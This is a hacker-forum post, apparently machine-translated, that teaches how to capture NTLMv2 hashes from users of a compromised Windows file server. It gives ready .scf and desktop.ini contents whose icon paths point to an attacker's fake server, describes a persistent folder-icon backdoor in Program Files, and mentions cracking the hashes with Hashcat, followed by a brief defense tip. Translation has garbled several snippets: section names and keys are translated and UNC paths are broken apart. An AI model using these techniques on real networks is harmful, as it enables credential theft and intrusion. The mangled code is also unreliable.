跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技能——使用图标文件获取连接到文件服务器的NTLMv2哈希


Anonymous

推荐的帖子

0x00 前言

文章《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》介绍了通过Windows命令行在服务器上捕获数据包,获取连接到文件服务器的NTLMv2 Hash的方法,解决了一个有趣的问题:

如果获得了内网某个文件服务器的权限,如何获取更多用户的密码?

本文将改变实现方式,通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,抓取伪造文件服务器上的数据包,获得连接到文件服务器的NTLMv2 Hash。

0x01 简介

本文将介绍以下内容:

添加scf文件会迫使用户访问假冒的文件服务器。

修改文件夹图标以强制用户访问伪造的文件服务器。

图标后门

防御思维

0x02 实现思路

利用SMB协议的特性,当客户端连接到服务器时,默认情况下首先尝试使用本机的用户名和密码哈希登录。

当一个用户访问一个文件服务器时,如果我们可以诱骗用户访问一个假的文件服务器,并在假的文件服务器上抓取数据包,那么我们就可以获得用户自己机器的NTLMv2哈希。

所以关键是如何欺骗用户访问伪造的文件服务器,同时保证隐蔽性。

欺骗用户访问假文件服务器的方法有很多种(钓鱼略),那么有没有在用户打开文件共享时自动访问假文件服务器的方法呢?当然有。接下来主要介绍两种实现方式。

0x03 添加scf文件强制用户访问伪造的文件服务器

这个方法已经在其他文章中介绍过了。参考:

https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

https://xianzhi.aliyun.com/forum/topic/1624

下面简单介绍一下原理。

scf文件:

SCF文件是一个“WINDOWS资源管理器命令”文件,它是一个可执行文件。这种类型的文件由Windows资源管理器命令解释,并作为标准安装。

有三种类型:

Explorer.scf(资源管理器)

Show Desktop.scf(显示桌面)

查看频道. scf(查看频道)

格式示例:

[壳牌]

命令=2

IconFile=explorer.exe,3

[任务栏]

Command=ToggleDesktop

IconFile属性支持UNC路径,即可以在文件服务器上指定一个文件,例如IconFile=\ \ 192 . 168 . 62 . 130 \ test \ explorer.exe,3。

特别之处:当使用Explore.exe打开包含这个文件的路径时,因为scf文件包含IconFile属性,Explore.exe会尝试获取文件的图标。如果图标位于文件服务器中,它将访问文件服务器。

直观理解:打开一个文件夹,文件夹下有scf文件。scf文件的IconFile属性指向文件服务器。这个机会将自动访问这个文件服务器。在访问过程中,默认情况下将使用该机器的用户名和密码哈希来尝试登录。如果文件服务器抓取了数据包,就可以得到NTLMv2 Hash。

实际测试:

标准文件服务器IP: 192.168.62.139

伪造的文件服务器IP: 192.168.62.130

客户:192.168.62.135

1、正常文件服务器共享目录下添加文件test.scf,内容如下:

[壳牌]

命令=2

IconFile=\ \ 192 . 168 . 62 . 130 \ test \ test . ico

[任务栏]

Command=ToggleDesktop

注:

IconFile指向伪造的文件服务器,test.ico不存在。

2、在伪造文件服务器上使用wireshark进行抓包

3、客户端访问正常文件服务器

4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash

如下图

2-1.png

构造一个特定格式的username:domain:challenge:hmac-MD5:blob,用Hashcat破解。

具体破解方法请参考文章:

《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》

《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》

经过实际测试,我们可以看到,利用率的关键是在文件服务器上添加scf文件,等待用户访问。

那么,有没有更隐蔽的方法呢?

0x04 修改文件夹图标强制用户访问伪造的文件服务器

参考scf文件的利用原则,需要找到一个可以指定IconFile属性的特殊文件。

经过搜索,我找到了一个合适的方法:修改文件夹图标,强制用户访问伪造的文件服务器。

修改文件夹图标的方法:

选择文件夹-右键-属性-自定义-更改图标,如下图所示

2-2.png

最好在文件夹子目录中生成文件desktop.ini,格式如下:

[.ShellClassInfo]

icon resource=C:\ Windows \ system32 \ shell32 . dll,3

[视图状态]

模式=

Vid=

FolderType=泛型

尝试用UNC路径替换IconResource属性,即icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell32.dll,3。

测试成功。

实际测试:

标准文件服务器IP: 192.168.62.139

伪造的文件服务器IP: 192.168.62.130

客户:192.168.62.135

1、正常文件服务器共享目录的test文件夹下添加文件desktop.ini,内容如下:

[.ShellClassInfo]

icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell 32 . dll,4

[视图状态]

模式=

Vid=

FolderType=泛型

注:

IconResource指向伪造的文件服务器,SHELL32.dll不存在。

2、在伪造文件服务器上使用wireshark进行抓包

3、客户端访问正常文件服务器

4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash

如下图

3-1.png

这样相比scf文件,隐蔽性更高。

0x05 文件夹图标后门

原理同上。更改系统文件夹的配置文件desktop.ini。当用户打开指定的文件夹时,本机当前用户的NTLMv2哈希将被发送到伪造的文件服务器。

默认情况下,系统的公共文件夹包含配置文件desktop.ini,例如文件夹Program Files。desktop.ini的内容如下:

[.ShellClassInfo]

localized resource name=@ % SystemRoot % \ system32 \ shell 32 . dll,-21781

尝试通过添加以下内容来修改它:

icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell 32 . dll,4

注:

需要管理员权限。

测试成功。

实际测试:

客户端IP: 192.168.62.139

伪造的文件服务器IP: 192.168.62.130

1、修改客户端文件,路径为C:\Program Files\desktop.ini,添加内容

icon resource=\ \ 192 . 168 . 62 . 130 \ test \ shell 32 . dll,4

注:

IconResource指向伪造的文件服务器,SHELL32.dll不存在。

2、在伪造文件服务器上使用wireshark进行抓包

3、客户端访问文件夹c:\

4、伪造文件服务器获得客户端本机当前用户的NTLMv2 Hash

如下图

3-2.png

这样和scf文件相比,不需要添加文件,但是需要管理员权限。

0x06 防御思路

结合攻击手段,防御思路总结如下:

检查特殊文件。scf和desktop.ini,以避免添加UNC路径。

如果没有特殊需要,建议配置防火墙规则禁止端口139和445。

0x07 小结

在这篇文章中,我们改变了方法,以解决获取更多的用户密码后,获得许可的文件服务器在内部网。

通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,通过抓取伪造文件服务器上的数据包获得连接到文件服务器的NTLMv2哈希。

结合攻击方法,总结防御思路。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...